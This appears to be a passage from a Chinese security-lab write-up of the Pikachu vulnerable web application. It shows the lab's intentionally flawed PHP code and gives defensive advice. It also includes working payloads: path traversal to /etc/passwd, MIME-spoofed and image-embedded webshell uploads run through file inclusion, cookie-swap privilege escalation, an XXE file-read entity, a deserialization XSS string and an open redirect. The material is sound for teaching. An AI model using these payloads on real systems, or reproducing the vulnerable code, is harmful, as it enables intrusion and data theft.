$html1.="<p style='color: red'>warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该漏洞,记得修改后,重启中间件服务!</p>";
}
$html2='';
if(!ini_get('allow_url_fopen')){
$html2.="<p style='color: red;'>warning:你的allow_url_fopen没有打开,请在php.ini中打开了再测试该漏洞,重启中间件服务!</p>";
}
$html3='';
if(phpversion()<='5.3.0' && !ini_get('magic_quotes_gpc')){
$html3.="<p style='color: red;'>warning:你的magic_quotes_gpc打开了,请在php.ini中关闭了再测试该漏洞,重启中间件服务!</p>";
}
//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "$filename";//变量传进来直接包含,没做任何的安全限制
}
?>
漏洞防范
-
在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作
-
过滤非法参数如
../
、http://
、https://
等 -
配置php.ini文件
allow_url_fopen = off
Allow_url_include = off
magic_quotes_gpc = on
-
通过白名单策略,仅允许包含运行指定文件
-
文件包含漏洞还可以配合文件上传漏洞发挥出更大的威力,此是后话
Unsafe Filedownload
概述
文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd
),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。 所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑
切记:所有与前端交互的数据都是不安全的,不能掉以轻心
Unsafe Filedownload
来看到一个页面,点击人名即可下载对应的图片
右键新标签页中打开链接看看URL
http://light.asuka39.top:9000/vul/unsafedownload/execdownload.php?filename=kb.png
发现这是一个GET请求,我们改改文件目录
http://light.asuka39.top:9000/vul/unsafedownload/execdownload.php?filename=../../../../../../../etc/passwd
服务器操作系统的账号密码就被下载下来了
看看前后端源码片段
<div class="page-content">
<div id="usd_main" style="width: 600px;">
<h2 class="title" >NBA 1996年 黄金一代</h2>
<p class="mes" style="color: #1d6fa6;">Notice:点击球员名字即可下载头像图片!</p>
<div class="png" style="float: left">
<img src="download/kb.png" /><br />
<a href="execdownload.php?filename=kb.png" >科比.布莱恩特</a>
</div>
<div class="png" style="float: left">
<img src="download/ai.png" /><br />
<a href="execdownload.php?filename=ai.png" >阿伦.艾弗森</a>
</div>
<div class="png" style="float: left">
<img src="download/ns.png" /><br />
<a href="execdownload.php?filename=ns.png" >史蒂夫.纳什</a>
</div>
<div class="png" style="float: left">
<img src="download/rayal.png" /><br />
<a href="execdownload.php?filename=rayal.png" >雷.阿伦</a>
</div>
<div class="png" style="float: left">
<img src="download/mbl.png" /><br />
<a href="execdownload.php?filename=mbl.png" >斯蒂芬.马布里</a>
</div>
<div class="png" style="float: left">
<img src="download/camby.png" /><br />
<a href="execdownload.php?filename=camby.png" >马库斯.坎比</a>
</div>
<div class="png" style="float: left">
<img src="download/pj.png" /><br />
<a href="execdownload.php?filename=pj.png" >斯托贾科维奇</a>
</div>
<div class="png" style="float: left">
<img src="download/bigben.png" /><br />
<a href="execdownload.php?filename=bigben.png" >本.华莱士</a>
</div>
<div class="png" style="float: left">
<img src="download/sks.png" /><br />
<a href="execdownload.php?filename=sks.png" >伊尔戈斯卡斯</a>
</div>
<div class="png" style="float: left">
<img src="download/oldfish.png" /><br />
<a href="execdownload.php?filename=oldfish.png" >德里克.费舍尔</a>
</div>
<div class="png" style="float: left">
<img src="download/smallane.png" /><br />
<a href="execdownload.php?filename=smallane.png" >杰梅因.奥尼尔</a>
</div>
<div class="png" style="float: left">
<img src="download/lmx.png" /><br />
<a href="execdownload.php?filename=lmx.png" >阿卜杜.拉希姆</a>
</div>
</div>
<?php
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR."inc/function.php";
header("Content-type:text/html;charset=utf-8");
// $file_name="cookie.jpg";
$file_path="download/{$_GET['filename']}";
//用以解决中文不能显示出来的问题
$file_path=iconv("utf-8","gb2312",$file_path);
//首先要判断给定的文件存在与否
if(!file_exists($file_path)){
skip("你要下载的文件不存在,请重新下载", 'unsafe_down.php');
return ;
}
$fp=fopen($file_path,"rb");
$file_size=filesize($file_path);
//下载文件需要用到的头
ob_clean();//输出前一定要clean一下,否则图片打不开
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));
$buffer=1024;
$file_count=0;
//向浏览器返回数据
//循环读取文件流,然后返回到浏览器feof确认是否到EOF
while(!feof($fp) && $file_count<$file_size){
$file_con=fread($fp,$buffer);
$file_count+=$buffer;
echo $file_con;
}
fclose($fp);
?>
可以看到后端只是对a标签做简单的拼接而未对标签做任何校验
防范措施
- 对传入的文件名进行严格的过滤和限定
- 对文件下载的目录进行严格的限定
Unsafe Fileupload
概述
文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等
当用户点击上传按钮后,后台会对上传的文件进行判断,比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录
如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell
所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑,比如:
- 验证文件类型、后缀名、大小
- 验证文件的上传方式
- 对文件进行一定复杂的重命名
- 不要暴露文件上传后的路径
文件上传漏洞测试的流程
- 对文件上传的地方按照要求上传文件,查看返回结果(路径、提示等)
- 尝试上传不同类型的恶意文件(php文件等),分析结果
- 查看HTML源码,看是否通过JavaScript在前端做了上传限制、是否可以绕过
- 尝试使用不同方式绕过,如黑白名单绕过、MIME类型绕过、目录0x00截断绕过等
- 猜测或结合其他类型漏洞(如敏感信息泄露等)得到木马路径,连接测试
client check
页面里是一个上传图片的表单,我们上传个一句话木马试试
立即弹出窗口警告不允许上传txt文件,合理猜测文件类型限定是写在前端的
看看前端代码
<div class="page-content">
<div id="usu_main">
<p class="title">这里只允许上传图片o!</p>
<form class="upload" method="post" enctype="multipart/form-data" action="">
<input class="uploadfile" type="file" name="uploadfile" onchange="checkFileExt(this.value)"/><br />
<input class="sub" type="submit" name="submit" value="开始上传" />
</form>
</div>
选中文件时前端会调用JavaScript的checkFileExt()
方法
<script>
function checkFileExt(filename)
{
var flag = false; //状态
var arr = ["jpg","png","gif"];
//取出上传文件的扩展名
var index = filename.lastIndexOf(".");
var ext = filename.substr(index+1);
//比较
for(var i=0;i<arr.length;i++)
{
if(ext == arr[i])
{
flag = true; //一旦找到合适的,立即退出循环
break;
}
}
//条件判断
if(!flag)
{
alert("上传的文件不符合要求,请重新选择!");
location.reload(true);
}
}
</script>
但是一切写在前端的防护都是不靠谱的
我们删掉上传按钮的方法调用再来上传试试
上传成功了,甚至还给了我们半个路径什么菩萨
访问一下
这里只简单演示,不做其他操作了其实是传错文件了
MIME type
多用途互联网邮件扩展类型MIME(Multipurpose Internet Mail Extensions)是设定某种扩展名的文件用一种应用程序打开的方式类型。当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开,多用于指定一些客户端自定义的文件名以及一些媒体文件打开方式
每个MIME类型由两部分组成,前面是数据的大类型,例如声音、图像等,后面定义具体的种类
常见的MIME类型有
- 超文本标记语言文本:.html text/html
- 普通文本:.txt text/plain
- RTF文本:.rtf application/rtf
- GIF文本:.gif image/gif
- JPEG图形:.ipeg、.jpg image/jpeg
通过使用PHP的全局数组$_FILES
,我们可以从客户计算机向远程服务器上传文件
第一个参数是表单的input name,第二个下标可以是"name"
、"type"
、"size"
、"tmp_name"
或"error"
$_FILES["file"]["name"]
:上传文件的名称$_FILES["file"]["type"]
:上传文件的类型$_FILES["file"]["size"]
:上传文件的大小,以字节计$_FILES["file"]["tmp_name"]
:存储在服务器的文件的临时副本的名称$_FILES["file"]["error"]
:由文件上传导致的错误代码
依旧是上传文件,不过这次做了MIME类型验证
来看看后端源码片段
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "clientcheck.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR . 'header.php';
include_once $PIKA_ROOT_DIR.'inc/uploadfunction.php';
$html='';
if(isset($_POST['submit'])){
// var_dump($_FILES);
$mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
$save_path='uploads';//指定在当前目录建立一个目录
$upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
if($upload['return']){
$html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
}else{
$html.="<p class=notice>{$upload['error']}</p>";
}
}
?>
//只通过MIME类型验证了一下图片类型,其他的无验证,upsafe_upload_check.php
function upload_sick($key,$mime,$save_path){
$arr_errors=array(
1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
3=>'文件只有部分被上传',
4=>'没有文件被上传',
6=>'找不到临时文件夹',
7=>'文件写入失败'
);
if(!isset($_FILES[$key]['error'])){
$return_data['error']='请选择上传文件!';
$return_data['return']=false;
return $return_data;
}
if ($_FILES[$key]['error']!=0) {
$return_data['error']=$arr_errors[$_FILES[$key]['error']];
$return_data['return']=false;
return $return_data;
}
//验证一下MIME类型
if(!in_array($_FILES[$key]['type'], $mime)){
$return_data['error']='上传的图片只能是jpg,jpeg,png格式的!';
$return_data['return']=false;
return $return_data;
}
//新建一个保存文件的目录
if(!file_exists($save_path)){
if(!mkdir($save_path,0777,true)){
$return_data['error']='上传文件保存目录创建失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
}
$save_path=rtrim($save_path,'/').'/';//给路径加个斜杠
if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$_FILES[$key]['name'])){
$return_data['error']='临时文件移动失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
//如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
$return_data['new_path']=$save_path.$_FILES[$key]['name'];
$return_data['return']=true;
return $return_data;
}
这里其实是用$_FILES["file"]
获取了文件类型并进行比较,但$_FILES
是从浏览器的http header进行信息获取的
逻辑搞懂了,我们来抓个包
先上传正常的图片
复制一下正常的Content-Type
再来上传我们的一句话木马,改一下Content-Type
可以看到文件被成功上传了
剩下的就和之前一样了,不再赘述
Getimagesize
Getimagesize()
函数返回的结果中有文件的类型和文件大小,函数会通过判断文件头来判断是否是图片
但我们可以通过伪造文件头来绕过函数
图片木马的制作有几种方法
-
直接伪造文件头
-
Windows下CMD:
copy /b test.png + muma.php muma.png
- 命令意为在test.png尾部拼接muma.php生成新文件muma.png
-
使用开源软件GIMP,通过增加备注写入执行命令
我们使用第二个方法
没有樱之刻玩我要死了
F210h: 3D 61 00 00 00 00 49 45 4E 44 AE 42 60 82 3C 3F =a....IEND®B`‚<?
F220h: 70 68 70 0A 2F 2A 2A 0A 20 2A 20 43 72 65 61 74 php./**. * Creat
F230h: 65 64 20 62 79 20 72 75 6E 6E 65 72 2E 68 61 6E ed by runner.han
F240h: 0A 20 2A 20 54 68 65 72 65 20 69 73 20 6E 6F 74 . * There is not
F250h: 68 69 6E 67 20 6E 65 77 20 75 6E 64 65 72 20 74 hing new under t
F260h: 68 65 20 73 75 6E 0A 20 2A 2F 0A 0A 70 68 70 69 he sun. */..phpi
F270h: 6E 66 6F 28 29 3B 0A 0A 0A 3F 3E 00 00 00 00 00 nfo();...?>
得到一张可以正常显示的图片,但是文件尾后多了之前的一句话木马
上传,URL访问
http://light.asuka39.top:9000/vul/unsafeupload/uploads/phpinfo.png
当然,此时代码还未被执行
还记得之前文件包含漏洞的本地文件包含吗,我们来利用这个漏洞
include()
函数处理目标文件时会无视错误代码直至遇到正确的代码,我们可以利用这种特性让它来执行图片木马
我们来拼接一下文件包含漏洞的URL,其中../
的数量需要一个个尝试,实际场景中我们可能需要爆破路径
http://light.asuka39.top:9000/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/phpinfo.png&submit=提交查询
翻到下面可以看到phpinfo()
已经被执行
防范措施
- 不在前端使用JavaScript实施上传限制策略
- 通过服务端对上传文件进行限制
- 进行多条件组合检查,如文件大小、路径、扩展名、文件类型、文件完整性
- 对上传的文件在服务器上存储时根据合理的命名规则进行重命名
- 对服务端上传文件的目录进行权限控制(比如只读),限制执行权限带来的危害
Over Permission
概述
如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作
- 水平越权
- 用户A和用户B属于同级用户,但不能操作彼此的信息
- 用户A若越权操作用户B的信息则成为水平越权
- 垂直越权
- 用户A权限低于用户B
- 用户A若越权操作用户B的信息则被称为垂直越权
越权漏洞形成的原因是后台使用了不合理的权限校验规则。 一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞
由于每个应用系统的用户对应的权限是根据业务功能划分的,具有多样性,因此越权漏洞很难通过工具扫描出来,需要手动测试
因此,开发人员和后台管理在权限管理中应该遵守
- 使用最小权限原则对用户进行赋权
- 使用合理(严格)的权限校验规则
- 使用后台登录态作为条件进行权限判断
水平越权
首先登录一下,查询个人信息
检查一下地址栏,发现刚刚的提交按钮只做了一个GET请求
http://light.asuka39.top:9000/vul/overpermission/op1/op1_mem.php?username=lili&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
我们修改一下URL试试
http://light.asuka39.top:9000/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
这样就越权成功了
后端源码片段
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "op1_login.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../../";
include_once $PIKA_ROOT_DIR . 'header.php';
include_once $PIKA_ROOT_DIR.'inc/mysql.inc.php';
include_once $PIKA_ROOT_DIR.'inc/function.php';
include_once $PIKA_ROOT_DIR.'inc/config.inc.php';
$link=connect();
// 判断是否登录,没有登录不能访问
if(!check_op_login($link)){
header("location:op1_login.php");
}
$html='';
if(isset($_GET['submit']) && $_GET['username']!=null){
//没有使用session来校验,而是使用的传进来的值,权限校验出现问题,这里应该跟登录态关系进行绑定
$username=escape($link, $_GET['username']);
$query="select * from member where username='$username'";
$result=execute($link, $query);
if(mysqli_num_rows($result)==1){
$data=mysqli_fetch_assoc($result);
$uname=$data['username'];
$sex=$data['sex'];
$phonenum=$data['phonenum'];
$add=$data['address'];
$email=$data['email'];
$html.=<<<A
<div id="per_info">
<h1 class="per_title">hello,{$uname},你的具体信息如下:</h1>
<p class="per_name">姓名:{$uname}</p>
<p class="per_sex">性别:{$sex}</p>
<p class="per_phone">手机:{$phonenum}</p>
<p class="per_add">住址:{$add}</p>
<p class="per_email">邮箱:{$email}</p>
</div>
A;
}
}
if(isset($_GET['logout']) && $_GET['logout'] == 1){
session_unset();
session_destroy();
setcookie(session_name(),'',time()-3600,'/');
header("location:op1_login.php");
}
?>
垂直越权
同样是先登录
我们发现普通用户只有查看列表的权限而管理员有增删用户的权限(左管理右普通)
我们先通过管理员用户增加一个用户a
然后退出登录
BurpSuite抓个包,Repeat一下
发现后台并没有增加用户,页面也被重定向至登录页面要求登录了
这是因为我们刚刚退出了管理员账号的登录状态
我们登录普通用户抓个包,复制登录态的Cookie到管理员的数据包中再来提交试试
这样就越权成功了
看看后端源码
首先是登录页面
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "op1_login.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../../";
include_once $PIKA_ROOT_DIR . 'header.php';
include_once $PIKA_ROOT_DIR.'inc/mysql.inc.php';
include_once $PIKA_ROOT_DIR.'inc/function.php';
include_once $PIKA_ROOT_DIR.'inc/config.inc.php';
$link=connect();
$html="";
if(isset($_POST['submit'])){
if($_POST['username']!=null && $_POST['password']!=null){
$username=escape($link, $_POST['username']);
$password=escape($link, $_POST['password']);//转义,防注入
$query="select * from users where username='$username' and password=md5('$password')";
$result=execute($link, $query);
if(mysqli_num_rows($result)==1){
$data=mysqli_fetch_assoc($result);
if($data['level']==1){//如果级别是1,进入admin.php
$_SESSION['op2']['username']=$username;
$_SESSION['op2']['password']=sha1(md5($password));
$_SESSION['op2']['level']=1;
header("location:op2_admin.php");
}
if($data['level']==2){//如果级别是2,进入user.php
$_SESSION['op2']['username']=$username;
$_SESSION['op2']['password']=sha1(md5($password));
$_SESSION['op2']['level']=2;
header("location:op2_user.php");
}
}else{
//查询不到,登录失败
$html.="<p>登录失败,请重新登录</p>";
}
}
}
//只要退到这个界面就先清除登录状态,需要重新登录
//session_unset();
//session_destroy();
//setcookie(session_name(),'',time()-3600,'/');
?>
然后来看看管理员操作
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "op2_admin_edit.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../../";
include_once $PIKA_ROOT_DIR . 'header.php';
include_once $PIKA_ROOT_DIR.'inc/mysql.inc.php';
include_once $PIKA_ROOT_DIR.'inc/function.php';
include_once $PIKA_ROOT_DIR.'inc/config.inc.php';
$link=connect();
// 判断是否登录,没有登录不能访问
//这里只是验证了登录状态,并没有验证级别,所以存在越权问题。
if(!check_op2_login($link)){
header("location:op2_login.php");
exit();
}
if(isset($_POST['submit'])){
if($_POST['username']!=null && $_POST['password']!=null){//用户名密码必填
$getdata=escape($link, $_POST);//转义
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['address']}')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){//判断是否插入
header("location:op2_admin.php");
}else {
$html.="<p>修改失败,请检查下数据库是不是还是活着的</p>";
}
}
}
if(isset($_GET['logout']) && $_GET['logout'] == 1){
session_unset();
session_destroy();
setcookie(session_name(),'',time()-3600,'/');
header("location:op2_login.php");
}
?>
然后是检查登录函数
/*op2的check login*/
function check_op2_login($link){
if(isset($_SESSION['op2']['username']) && isset($_SESSION['op2']['password'])){
$query="select * from users where username='{$_SESSION['op2']['username']}' and sha1(password)='{$_SESSION['op2']['password']}'";
$result=execute($link,$query);
if(mysqli_num_rows($result)==1){
return true;
}else{
return false;
}
}else{
return false;
}
函数只是判断了用户是否登录而为判断用户的权限,这就留下了漏洞
因为需要抓到管理员的数据包,可能还需要配合更多漏洞和木马才能完成攻击,所以垂直越权在实际操作上难度相当大,但一旦攻击成功就危害极高,因此万万不能掉以轻心
../../
概述
在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活
当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过../
这样的手段让后台打开或者执行一些其他的文件,从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞
看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载甚至文件包含漏洞差不多,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,这些漏洞都是在功能设计中将要操作的文件使用变量的方式传递给了后台而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下
需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况我们称为敏感信息泄露而并不归为目录遍历漏洞
目录遍历
页面给出两个超链接,点击一下会弹出文本
看看URL,发现是通过GET请求传入文件路径进行读取
http://light.asuka39.top:9000/vul/dir/dir_list.php?title=jarheads.php
我们输入足够的../
跳转到根目录,然后读取服务器操作系统的重要文件,比如/etc/passwd
http://light.asuka39.top:9000/vul/dir/dir_list.php?title=../../../../../../../etc/passwd
敏感信息泄露
概述
由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到,比如:
- 通过访问url下的目录,可以直接列出目录下的文件列表
- 输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息
- 前端的源码(html、css、js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等
类似以上这些情况,我们称为敏感信息泄露
敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至会直接造成严重的损失
因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理
IcanseeyourABC
这个漏洞不必做过多解说
右键查看前端源码,留有后台开发时方便测试用的注释
登录后查看cookie,发现账号和密码的哈希值都被直接写进了cookie里
通过URL可以直接查看目录信息、操作系统版本、Web服务器应用版本、IP地址和端口号
这些疏忽都或多或少暴露出很多信息,若有黑客攻击,这些信息无疑会成为他们的最大助力
PHP反序列化
概述
在理解这个漏洞前,你需要先搞清楚php中serialize()
、unserialize()
这两个函数
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:
O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O
:代表object1
:代表对象名字长度为一个字符S
:对象的名称1
:代表对象里面有一个变量s
:数据类型4
:变量名称的长度test
:变量名称s
:数据类型7
:变量值的长度pikachu
:变量值
反序列化unserialize()
反序列化就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的几个魔法函数:
__construct()
:当一个对象创建时被调用__destruct()
:当一个对象销毁时被调用__toString()
:当一个对象被当作一个字符串使用__sleep()
:在对象在被序列化之前运行__wakeup()
:将在序列化之后立即被调用
漏洞举例:
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
PHP反序列化漏洞
页面给了一个可以接受序列化数据的api
这还不够劲爆吗
我们先来手搓一个类然后打印出序列化后的字符串
<?php
class s{
var $test = "<script>alert('xss')</script>";
}
echo '<br>';
$a = new s();
echo serialize($a);
?>
浏览器打开,查看源代码得到序列化好的payload
O:1:"s":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
看看后端源码片段
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "unser.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
?>
源码使用了__construct()
函数,函数会在类被创建时立即被调用
可以看到程序并没有对传入的类进行校验,而直接输出到前端,这就造成了漏洞
这类反序列化漏洞要根据攻击对象的实际操作来加以利用,比如输出到前端就可以利用XSS、输送到数据库就可以利用SQL注入等等
XXE
概述
XXE(xml external entity injection)即“xml外部实体注入漏洞”,简单概括一下就是“攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行导致问题”。也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,最终导致xml外部实体注入
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,也就直接避免了这个漏洞
以PHP为例,在PHP里面解析xml使用的是Libxml,而其在≥2.9.0的版本中默认禁止解析xml外部实体内容
XML简介:
- XML指可扩展标记语言(eXtensible Markup Language)
- XML被设计用来传输和存储数据,不用于表现和展示数据,而HTML 则用来表现数据
XML文档格式:
<!--第一部分:XML声明-->
<?xml version="1.0"?>
<!--第二部分:文档类型定义DTD-->
<!DOCTYPE note [ <!--定义此文档是note类型的文档-->
<!ENTITY entity-name SYSTEM "URL/URL"> <!--外部实体声明-->
]>
<!--第三部分:文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
文档类型定义(Document Type Definition,DTD),是用来为XML文档定义语法约束的
- DTD内部声明:
<!DOCTYPE 根元素[元素声明]>
- DTD外部引用:
<!DOCTYPE 根元素名称SYSTEM "外部的DTD的URI">
- 引用公共的DTD:
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公共DTD的URI">
外部实体引用payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd"> //将file的内容赋值给f
]>
<x>&f;</x> //读取f可读取的file的值
外部引用还可以支持http、file、ftp等协议
simplexml_load_string()
:
用于接收格式正确的XML文档,并解析成SimpleXMLElement
对象
更多关于XML的知识可以参看菜鸟教程
XXE漏洞
页面给出一个接收XML数据的api
先输入正常的XML试试
<?xml version="1.0"?>
<!DOCTYPE note [<!ENTITY a "XML">]>
<x>&a;</x>
构造payload
<?xml version="1.0"?>
<!DOCTYPE ANY [<!ENTITY f SYSTEM "file:///etc/passwd">]>
<x>&f;</x>
这样敏感数据就被打印出来了
URL重定向
概述
不安全的url跳转问题可能发生在一切执行了URL地址跳转的地方 如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话就可能发生“跳错对象”的问题
url跳转比较直接的危害是钓鱼,即攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站
不安全的URL跳转
页面有四个a标签,点击第四个弹出一行字
看看地址栏URL
http://light.asuka39.top:9000/vul/urlredirect/urlredirect.php?url=i
这样的URL传参其实可以将参数改成恶意站点,比如
http://light.asuka39.top:9000/vul/urlredirect/urlredirect.php?url=http://asuka39.top/
太罪恶辣
由于URL较长,不知情的用户往往只看到URL前面的片段就直接点击而被跳转到恶意站点
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "urlredirect.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
$html="";
if(isset($_GET['url']) && $_GET['url'] != null){
$url = $_GET['url'];
if($url == 'i'){
$html.="<p>好的,希望你能坚持做你自己!</p>";
}else {
header("location:{$url}");
}
}
?>
可以看到后端并没有对传参进行过滤,这样很容易被非法分子利用
